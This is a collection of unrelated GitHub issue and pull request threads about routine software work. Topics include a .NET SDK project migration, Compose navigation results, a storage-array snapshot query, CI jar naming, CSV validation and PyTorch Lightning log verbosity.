Yep. The idea is to first move to SDK style projects but still build with .NET Framework Leaving the actual binaries unchanged. Then there will be work needed to convert the Desktop.Release (XPLAT) portion to build and publish using .NET Core.
By doing so we can remove the Mono dependency and can publish OpenDebugAD7 on any Runtime .NET Core supports.
See https://docs.microsoft.com/en-us/dotnet/core/rid-catalog#using-rids

@gregg-miskelly When you have the time, can you review? The bigger changes are in https://github.com/microsoft/MIEngine/pull/1075/commits/21aa1994e46cf5896cbdeac45da6e5cb2075e047
which include creating a VSIX and auto create the pkgdef.

<IntermediateGeneratedOutputPath>$(IntermediateOutputPath)Generated\</IntermediateGeneratedOutputPath>

(This is still active)

In reply to: 721445297 [](ancestors = 721445297)

Refers to: build/all_projects.settings.targets:23 in 21aa199. [](commit_id = 21aa1994e46cf5896cbdeac45da6e5cb2075e047, deletion_comment = False)

@gregg-miskelly Is it normal to require dotnet restore before building the solution? The building experience is a bit weird in VS since you have to do the restore first before building the solution.
There also seems to be an issue with MakePIAPortable and WindowsDebugLauncher not restoring when you run dotnet restore src\MIDebugEngine.sln

Andrew, I missed your comment originally. Is this still an issue? Normally if you open a .NET SDK-style solution, the solution will automatically restore in the background after you open it. I think doing a build from the IDE will wait for it to finish.

@gregg-miskelly Is it normal to require dotnet restore before building the solution? The building experience is a bit weird in VS since you have to do the restore first before building the solution.
There also seems to be an issue with MakePIAPortable and WindowsDebugLauncher not restoring when you run dotnet restore src\MIDebugEngine.sln

Andrew, I missed your comment originally. Is this still an issue? Normally if you open a .NET SDK-style solution, the solution will automatically restore in the background after you open it. I think doing a build from the IDE will wait for it to finish.

Resolved. I think VS does something weird and caches the csproj style in the .vs folder. So if you go from old style to sdk style without removing the .vs folder, it skips the restore step.
Thanks for following up :)

Otherwise LGTM

Validating the Releases:

Status
Task

❔
VS Release

❔
VS Code Release


Integrate DestinationNavigator and NavResult.

How about integrating the NavResult function, which is currently separated into DestinationsNavigator, ResultRecipient and ResultBackNavigator into DestinationsNavigator?
For example like this code:
navigator.navigateUp(result)
navigator.popBackStack(result)

navigator.onNavResult<Destination> { result ->
    when(result) {
        is NavResult.Value -> {
            // Value..
        }
        is NavResult.Canceled -> {
            // Canceled..
        }
    }
}

This won't work because the ResultBack navigators/result recipients are typed and these types are checked at compile time to ensure proper type-safety.
So the library needs a parameter on the Composable Destinations that will both send results and receive them with these type arguments.
Closing this, but please let me know if you have further suggestions!


I need to get only linked snapshot from storage group.

Hi @murugesanmadappan there is no easy way to list only linked snapshots from a storage group without iterating over them.  The easier way is to list storage groups that have snapshots linked to them.
I've generated a sample function here, we need to add the option to the SDK.  if you use the is_link target variable and set to true you can get a list of storage groups that are linked to snapshots, you can then do a get on each of the storage groups to find out what snapshot is linked to it.  Note my sample function uses the connection as api you will need to change this to match your codebase.
api_version='100'
def List_Storage_Groups (symmetrixId, hasSrdf=None,hasSnapshots=None,hasCloudSnapshots=None,is_link_target=None,has_snap_policies=None,has_clones=None):
"""List Storage Groups.
param: symmetrixId The storage array ID -- string
param: hasSrdf Value that filters returned list to display Storage Groups that have SRDF -- bool
param: hasSnapshots Value that filters returned list to display Storage Groups that have Snapshots -- bool
param: hasCloudSnapshots Value that filters returned list to display Storage Groups that have Cloud Snapshots -- bool
param: is_link_target Value that filters returned list to display Storage Groups that are Link Targets -- bool
param: has_snap_policies Value that filters returned list to display Storage Groups that have Snapshot Policies -- bool
param: has_clones Value that filters returned list to display Storage Groups that have Clones -- bool
"""
query_params = {'hasSrdf': hasSrdf,'hasSnapshots': hasSnapshots,'hasCloudSnapshots': hasCloudSnapshots,'is_link_target': is_link_target,'has_snap_policies': has_snap_policies,'has_clones': has_clones,}
return api.common.get_request(target_uri=f"/{api_version}/replication/symmetrix/{symmetrixId}/storagegroup", resource_type=None,params=query_params)
linked_snapshot_sg = List_Storage_Groups(symmetrix_id='000123456')
for sg in linked_snapshot_sg:
print(api.replication.get_storage_group_snapshot_list(sg))

thank you very much i will try with this.

closing


⚠ Turnos 24x7 has degraded performance

In 7123bce, Turnos 24x7 (https://reservas-dev.alternativasinteligentes.com/) experienced degraded performance:

HTTP code: 200
Response time: 904 ms

Resolved: Turnos 24x7 performance has improved in 9aa900c.


ci(travis): Make jar file name actually use BRANCH_CLEAN variable.

Checklist

[X] Appropriate branch selected (all PRs must first be merged to dev before they can be merged to master)
[NA] Any modified or new methods or classes have helpful JavaDoc and code is thoroughly commented
[NA] The description lists all applicable issues this PR seeks to resolve
[NA] The description lists any configuration setting(s) that differ from the default settings
[ ] All tests and CI builds passing

Description
Build jars are including the branch variable name instead of using the branch name. This PR addresses that. (Found while setting up Travis for otp-middleware)

Codecov Report

Merging #280 into dev will decrease coverage by 0.42%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##                dev   #280      +/-   ##
==========================================
- Coverage     20.42%    20%   -0.43%
+ Complexity      416    407       -9
==========================================
  Files           151    151
  Lines          8219   8219
  Branches       1111   1111
==========================================
- Hits           1679   1644      -35
- Misses         6394   6430      +36
+ Partials        146    145       -1

Flag
Coverage Δ
Complexity Δ

#unit_tests
20% <ø> (-0.43%)
407 <ø> (-9)

Impacted Files
Coverage Δ
Complexity Δ

.../conveyal/datatools/common/utils/ScheduledJob.java
0% <0%> (-100%)
0% <0%> (-1%)

...ava/com/conveyal/datatools/common/utils/Utils.java
0% <0%> (-50%)
0% <0%> (-1%)

...com/conveyal/datatools/common/utils/Scheduler.java
19.27% <0%> (-27.72%)
5% <0%> (-4%)

...ls/manager/jobs/FeedExpirationNotificationJob.java
0% <0%> (-24%)
0% <0%> (-2%)

.../conveyal/datatools/manager/models/FeedSource.java
9.47% <0%> (ø)
8% <0%> (-1%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a772c7d...efd6d7c. Read the comment docs.

:tada: This PR is included in version 3.7.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Address discrepancy in acceptable non-SNOMED test result values in bulk upload

Description
On the backend we accept the following non-SNOMED test result values:
https://github.com/CDCgov/prime-simplereport/blob/a4f7c3e4fd2558ddb972a8e123a305a17d7d2f29/backend/src/main/java/gov/cdc/usds/simplereport/validators/CsvValidatorUtils.java#L185
This is what is displayed in the bulk upload guidance:

However, for the device code look up we provide different values that we do not accept on the backend:

Steps to reproduce
Please see above
Expected behavior
The accepted non-SNOMED test result values are consistent throughout the app.
Additional context
Issue first discovered here: https://github.com/CDCgov/prime-simplereport/pull/7809/files/bb3626fbc4af4b2302e95c12d874243209b5e0df#r1640364862

so that TEST_RESULT_VALUES is a little confusing - those are just the string values that we accept.
The actual validation logic below actually allows any numeric sequence (it assumes its a valid snomed) and only checks against that list if it is non numeric input.
  private static List<FeedbackMessage> validateSpecificValueOrSNOMED(
      ValueOrError input, Set<String> acceptableValues) {
    List<FeedbackMessage> errors = new ArrayList<>();
    String value = parseString(input.getValue());
    if (value == null) {
      return errors;
    }
    boolean nonSNOMEDValue = value.matches(ALPHABET_REGEX);
    if (nonSNOMEDValue) {
      return validateInSet(input, acceptableValues);
    }
    return errors;
  }


OLED brightness and Gamma table manipulation

Before opening the issue, have you...?

[X] Searched for existing issues

Question
For OLED, in the readme, it mentioned that

OLED or mini/micro-LED displays and televisions are fully supported using gamma table manipulation (this is a no-compromise solution for this class of displays).

Would someone please share some light on the following questions:

Will MonitorControl automatically determine whether the connected monitor is an OLED/Mini LED and use Gamma table manipulation for brightness control?
(More in the depth of the topic) why controlling the brightness using gamma table manipulation on OLED/Mini LED is no-compromise? Compare to normal LCD monitor? (I tried to search on Google but couldn't find any relevant topic)

Hi there,

No, you need to disable hardware brightness control so the app will fall back to gamma table manipulation
OLED displays don't have a backlight so hardware backlight control does not make much sense. With mini-LED the best approach is a combination of hardware and gamma control (if supported) as even though mini led displays can scale the mini-led zones to full black using software-only, the algorithm will create more blooming. Micro-LED displays (like OLEDs) should not have this issue (although micro-LED displays are very rare, Samsung has some super-expensive expandable micro-LED TVs).


Syntax highlighting breaks in changes in PR

Issue Description
bug report
I'm trying to use octo and managed to get the linter working using use_local_fs=true.
but i cant see any syntax highlighting for code changes. all the text is converted to blue font.

Describe what happened (or what feature you want)
As you can see above, its setting all the line changes to blue font.
Describe what you expected to happen
Line changes should only have bg highlighting, the font colors should not change
How to reproduce it (as minimally and precisely as possible)
doing Octo review start on any PR is doing this
Tell us your environment
nvim --version

NVIM v0.9.0
Build type: RelWithDebInfo
LuaJIT 2.1.0-beta3
Compilation: /usr/bin/gcc-10 -O2 -g -Og -g -Wall -Wextra -pedantic -Wno-unused-parameter -Wstrict-prototypes -std=gnu99 -Wshadow -Wconversion -Wvla -Wdouble-promotion -Wmissing-noreturn -Wmissing-format-attribute -Wmissing-prototypes -fno-common -Wno-unused-result -Wimplicit-fallthrough -fdiagnostics-color=always -fstack-protector-strong -DUNIT_TESTING -DINCLUDE_GENERATED_DECLARATIONS -D_GNU_SOURCE -I/__w/neovim/neovim/.deps/usr/include/luajit-2.1 -I/usr/include -I/__w/neovim/neovim/.deps/usr/include -I/__w/neovim/neovim/build/src/nvim/auto -I/__w/neovim/neovim/build/include -I/__w/neovim/neovim/build/cmake.config -I/__w/neovim/neovim/src -I/usr/include -I/__w/neovim/neovim/.deps/usr/include -I/__w/neovim/neovim/.deps/usr/include -I/__w/neovim/neovim/.deps/usr/include -I/__w/neovim/neovim/.deps/usr/include -I/__w/neovim/neovim/.deps/usr/include -I/__w/neovim/neovim/.deps/usr/include

   system vimrc file: "$VIM/sysinit.vim"
  fall-back for $VIM: "/__w/neovim/neovim/build/nvim.AppDir/usr/share/nvim"

os
Distributor ID:	Ubuntu
Description:	Ubuntu 18.04.3 LTS
Release:	18.04
Codename:	bionic

This is expected, those blue lines should be your DiffAdded highlight. The problem here is that these are diff buffers so we want to both hightlight the syntax but also highlight the differences. If you dont want this behaviour you can try setting DiffAdded, DiffAdd, DiffChange, DiffDelete, etc to guifg=NONE guibg=NONE. Eg: hi DiffAdded guifg=NONE guibg=NONE

But in many of your screenshots, I saw diff added with a green background, is that not the default behavior?

That depends entirely on your theme and the highlight groups it defines for the diffXXXX groups


Call to a member function getContent() on a non-object

Hi!
Looks like i have found an issue with AsseticBundle (related with https://github.com/kriswallsmith/assetic/issues/128). Indeed; in my Symfony2 project I have templates with .mobile for a mobile layout (e.g. article.mobile.html.twig). But with assetic and AsseticBundle in master :
Fatal error: Call to a member function getContent() on a non-object in
symfony\assetic-bundle\Symfony\Bundle\AsseticBundle\Factory\Resource\FileResource.php
on line 54

It's related with this regex no ? https://github.com/symfony/AsseticBundle/blob/master/DependencyInjection/DirectoryResourceDefinition.php#L71
Thanks :)

Please confirm #67 solved this issue?

I confirm! Thanks ;)


Add enable_device_summary flag to disable device printout

🚀 Feature
Add enable_model_summary boolean kwarg to pl.Trainer() to supress _log_device_info()'s output.
Motivation
When calling predict within a surrogate model loop Trainer prints out the devices each time breaking apart intended tables etc or other outputs. Related to https://github.com/Lightning-AI/lightning/issues/13358 for cleaning-up/reducing stdout verbosity.
GPU available: False, used: False
TPU available: False, using: 0 TPU cores
IPU available: False, using: 0 IPUs
HPU available: False, using: 0 HPUs
=======================================================
n_gen |  n_eval |  n_nds  |     eps      |  indicator
=======================================================
    1 |     322 |       3 |            - |            -
GPU available: False, used: False
TPU available: False, using: 0 TPU cores
IPU available: False, using: 0 IPUs
HPU available: False, using: 0 HPUs
    2 |    1322 |       4 |  0.625000000 |        ideal

Pitch
Add enable_model_summary kwarg to Trainer that defaults to True
Alternatives

The suggested solution is the simplest solution, any alternative would add more complexity.
Additional context

None

If you enjoy Lightning, check out our other projects! ⚡

Metrics: Machine learning metrics for distributed, scalable PyTorch applications.

Lite: enables pure PyTorch users to scale their existing code on any kind of device while retaining full control over their own loops and optimization logic.

Flash: The fastest way to get a Lightning baseline! A collection of tasks for fast prototyping, baselining, fine-tuning, and solving problems with deep learning.

Bolts: Pretrained SOTA Deep Learning models, callbacks, and more for research and production with PyTorch Lightning and PyTorch.

Lightning Transformers: Flexible interface for high-performance research using SOTA Transformers leveraging Pytorch Lightning, Transformers, and Hydra.

cc @borda @awaelchli @ananthsub @rohitgr7 @justusschock @kaushikb11

I don't think another flag should be added. Why not move the print out to the Trainer constructor so it's only printed once?

I'm curious, is there a desire to have verbosity controlled on a more global level, not just the summary here?

I'm curious, is there a desire to have verbosity controlled on a more global level, not just the summary here?

I think that between the enable options for model summary and progress bars (making new trainer when needed to adjust) and the possibility to make things PotentialUserWarnings you can control pretty much anything apart from this device summary.
A verbose=int setup c.f. sklearn could work but would be a much bigger change

Happy for me to change the associated PR to be reviewed?

@CompRhys thanks for the PR. Since this is adding a flag to the core API in Trainer, we need to discuss it with the core team @Lightning-AI/core-lightning and get some more opinions.
I think there are also a few options we haven't explored yet.

Once could move the device logs to a configurable callback like the model summary or trainer summary.
Let the messages be more easily filtered through logging
Introduce a verbose flag to control messaging through Trainer more generally (e.g. fastdevrun infos)

Let the messages be more easily filtered through logging

Introduce a verbose flag to control messaging through Trainer more generally (e.g. fastdevrun infos)

these 2 seem better sol. I'd prefer 3 if there are more logs we could configure.

I'd prefer a combination of 1. and 2.
IMO it really is not necessary to be able to have that baked into the core trainer (same as model summary was not necessary).
And having it more easily filtered would also be great (I tried to forward the streams to something else to just avoid the prints and that also didn't work).

Today, it can be silenced by doing this:
import logging

def device_info_filter(record):
    return "PU available: " not in record.getMessage()

logging.getLogger("pytorch_lightning.utilities.rank_zero").addFilter(device_info_filter)

I find the callback idea (1) a bit overkill.
With (2) we can improve the above, maybe by using a Trainer logger instead of the rank zero logger.
(3) seems like it has a larger scope. It would be interesting to see what are your concrete ideas. But for the device info message in particular, we've always agreed that it should be shown and not just when fast_dev_run=True

I changed my mind. I think the callback proposal is the simplest and most extensible option. This would also resolve https://github.com/Lightning-AI/lightning/issues/11014. And we could have flags in the callback to disable specific prints.

This issue should be closed. enable_model_summary is an available tag in the Trainer object

I think I can take this up!

Did anything come from this? My initial PR was never reviewed -- https://github.com/Lightning-AI/lightning/pull/13379

Seems like it made its way upstream?
https://lightning.ai/docs/pytorch/stable/common/trainer.html#enable-model-summary


[UK-940] Bugfix: Add checking current channel condition and has separator

Jira Ticket
UK-940
Description Of Changes
Add a condition checking currentChannelUrl before getChannel
Add params to renderChatItem with hasSeparator and menuDisabled
Types Of Changes
What types of changes does your code introduce to this project?
Put an x in the boxes that apply_

[x] Bugfix
[x] New feature
[ ] Documentation (correction or otherwise)
[ ] Cosmetics (whitespace, appearance (ex) Prettier)
[ ] Build configuration
[ ] Improvement (refactor code)

Thanks to https://github.com/sendbird/sendbird-uikit-react/pull/12